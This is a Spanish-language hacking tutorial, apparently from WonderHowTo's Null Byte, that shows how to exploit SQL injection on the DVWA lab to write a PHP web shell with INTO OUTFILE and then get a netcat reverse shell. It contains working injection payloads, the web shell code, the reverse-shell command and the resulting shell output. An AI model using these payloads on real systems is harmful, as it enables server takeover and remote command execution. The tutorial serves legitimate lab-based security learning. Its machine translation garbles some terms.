BlogWonderHowTo

Cómo: usar la inyección SQL para ejecutar comandos del sistema operativo y obtener un shell

Uno de los objetivos finales de la piratería es la capacidad de obtener shells para ejecutar comandos del sistema y poseer un objetivo o una red. La inyección de SQL generalmente solo se asocia con bases de datos y sus datos, pero en realidad se puede usar como un vector para obtener un shell de comandos. Como lección, aprovecharemos una simple falla de inyección de SQL para ejecutar comandos y, en última instancia, obtener un shell inverso en el servidor.

Nosotros usaremos DVWA, una máquina virtual intencionalmente vulnerable, y Kali Linux para llevar a cabo nuestro ataque. Si es nuevo en Kali, le recomendamos que siga nuestra guía sobre cómo configurar y proteger Kali, para asegurarse de que su sistema esté listo para cualquier cosa.

Descripción general de la inyección SQL

La inyección de SQL es una de las vulnerabilidades más comunes que se encuentran en la web y también puede ser una de las más peligrosas. Los atacantes pueden inyectar código SQL malicioso para extraer información confidencial, modificar o destruir datos existentes o escalar el ataque en un intento de apropiarse del servidor.

Hay muchos tipos diferentes de inyección SQL y diferentes métodos de ataque para los distintos sistemas de bases de datos en uso. Aunque este tipo de ataque es uno de los más fáciles de comenzar, la inyección de SQL puede tardar años en dominarse realmente. Afortunadamente, hay mucha buena información disponible para comenzar el camino.

Paso 1: enumeración de destino

Lo primero que debemos hacer es iniciar sesión en DVWA con las credenciales predeterminadas, administración como nombre de usuario y contraseña como contraseña.

A continuación, vaya a la pestaña “Seguridad” a la izquierda y establezca el nivel de seguridad en “bajo”. Esto asegurará que nuestra demostración se desarrolle sin problemas.

Navegue a la página “Inyección SQL” para comenzar nuestro ataque. Podemos ver que la funcionalidad de la página es tomar un ID de usuario y devolver información, en este caso, el nombre y apellido.

Queremos verificar que esta entrada sea realmente vulnerable a la inyección de SQL. Lo primero que debe intentar es simplemente ingresar una comilla simple, lo que cerrará la declaración prematuramente si esto es realmente vulnerable. Cuando hacemos esto, vemos que devuelve un error, incluso diciéndonos específicamente que está usando MySQL como base de datos. En este punto, es muy probable que hayamos encontrado un punto de entrada vulnerable.

Lo siguiente que debemos hacer es enumerar la base de datos y determinar el número de columnas en uso. Esto nos permitirá explotar de manera confiable una falla de inyección basada en sindicatos en solo un momento. Para aclarar esto, echemos un vistazo a cómo se vería la consulta durante el envío normal de entrada:

select first_name, surname from users where user_id='';

Este es probablemente el aspecto de la consulta en el backend, con primer nombre y apellido siendo las columnas seleccionadas, para un total de dos columnas. Pero necesitamos saberlo con certeza para que esto funcione. Para eso, podemos usar el ordenar por cláusula.

Esta cláusula ordenará los resultados de la consulta por columnas. Dado que estamos bastante seguros de que hay al menos dos columnas en uso, si ordenamos por 1 o 2, la consulta debería completarse correctamente. Pero, ¿y si queremos ordenar por 3? Si estamos en lo correcto, entonces esta consulta debería arrojar un error.

Envíe la siguiente inyección como entrada y debería generar un error. El signo de almohadilla se usa aquí para comentar el resto de la consulta para que no arroje ningún error de sintaxis adicional.

' order by 3 #

Podemos ver que obtenemos un error, por lo que ahora sabemos con certeza que solo dos columnas están en uso.

Paso 2: Acceso al shell y ejecución de comandos

Ahora que tenemos un poco más de información sobre la base de datos, podemos usar esto en nuestro beneficio para realizar una inyección SQL basada en unión. El Unión El operador se usa en SQL para combinar los resultados de dos o más Seleccione declaraciones, pero para que funcione correctamente, las declaraciones deben tener el mismo número de columnas. Es por eso que necesitamos enumerar el backend antes.

Hay muchas cosas que podemos hacer con las inyecciones basadas en sindicatos, pero en este tutorial, nos preocupamos de aprovechar esta falla para ejecutar comandos del sistema operativo. Una de las formas más fáciles de hacer que esto suceda es cargar un shell PHP simple para canalizar nuestros comandos.

Necesitamos determinar el directorio raíz del servidor web para cargar nuestro shell. Dependiendo de la aplicación y el tipo de servidor web en uso, esto puede variar, especialmente si un administrador cambia la ubicación predeterminada o si existen los permisos adecuados. Para los propósitos de esta demostración, asumiremos que la raíz web predeterminada de apache (/ var / www /) se está utilizando con permisos de escritura públicos. La información sobre el servidor web, incluido el directorio raíz, generalmente se puede encontrar en el archivo “phpinfo.php”.

Podemos usar el en el archivo de salida comando para escribir en un archivo. En este caso, insertaremos un script PHP simple, que podrá ejecutar comandos del sistema. El script, que apropiadamente llamaremos “cmd.php”, debería verse así:

<?php system($_GET["cmd"]); ?>

Ahora, realicemos la inyección. Tendremos que usar comillas dobles en el script, ya que debemos encerrar la segunda parte de la declaración entre comillas simples; esto evitará errores de sintaxis. La inyección completa se verá así:

' union select 1, '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/dvwa/cmd.php' #

Si esto funcionó correctamente, ahora deberíamos poder acceder a nuestro shell a través de URL y proporcionando un comando del sistema como parámetro. Por ejemplo, quién soy nos dará información de usuario actual.

O uname -a, que nos dará información sobre el sistema.

Pero suministrar todos estos comandos a través del parámetro URL es algo tedioso. De hecho, podemos usar esto para obtener un shell inverso y llevar las cosas un paso más allá.

Paso 3: Shell inverso con Netcat

Netcat es una poderosa utilidad de red que se utiliza para solucionar problemas de conectividad, pero en realidad los piratas informáticos pueden utilizarla como puerta trasera y como método para obtener un caparazón. Muchas distribuciones de Linux tienen esta utilidad instalada de forma predeterminada, por lo que si podemos obtener acceso, se acabó el juego.

Primero necesitaremos configurar el oyente en nuestra máquina local. Utilizar el Carolina del Norte comando junto con las banderas -lvp para especificar que escuche, sea detallado y para establecer el número de puerto, respectivamente.

nc -lvp 1234
listening on [any] 1234 ...

A continuación, como parámetro de nuestro shell PHP en la URL, ingrese el siguiente comando. Le dice al servidor que ejecute un shell (-e / bin / sh) y envíelo de vuelta a nuestra máquina local. Asegúrese de utilizar la dirección IP y el puerto adecuados.

nc 172.16.1.100 1234 -e /bin/sh

Dale unos segundos, y deberíamos ver a nuestro oyente atrapar el shell y abrir una conexión. Desde aquí, podemos ejecutar comandos como identificación, uname -a, y PD como mejor nos parezca.

connect to [172.16.1.100] from (UNKNOWN) [172.16.1.102] 47643
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
ps
  PID TTY          TIME CMD
 4665 ?        00:00:00 apache2
 4669 ?        00:00:00 apache2
 4671 ?        00:00:00 apache2
 4673 ?        00:00:00 apache2
 4674 ?        00:00:00 apache2
 4803 ?        00:00:00 apache2
 4810 ?        00:00:00 apache2
 4914 ?        00:00:00 php
 4915 ?        00:00:00 sh
 4919 ?        00:00:00 ps

Ahora tenemos un medio adecuado para ejecutar comandos en el servidor web desde la comodidad de nuestra propia terminal, todo lo cual se debió a una simple falla de inyección SQL.

Terminando

En esta guía, aprendimos cómo identificar un punto de inyección de SQL vulnerable, enumerar la base de datos de backend y usar esa información para cargar un shell simple para ejecutar comandos en el sistema de destino. A partir de ahí, aumentamos aún más el ataque utilizando Netcat para obtener un shell inverso, lo que nos permite el acceso de puerta trasera al servidor web. Esto solo demuestra que con suficiente paciencia y creatividad, junto con un poco de suerte, un hacker puede tomar un simple defecto y convertirlo en algo mucho más grande y poderoso.

Imagen de portada de NeuPaddy / Pixabay; Capturas de pantalla de drd_ / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar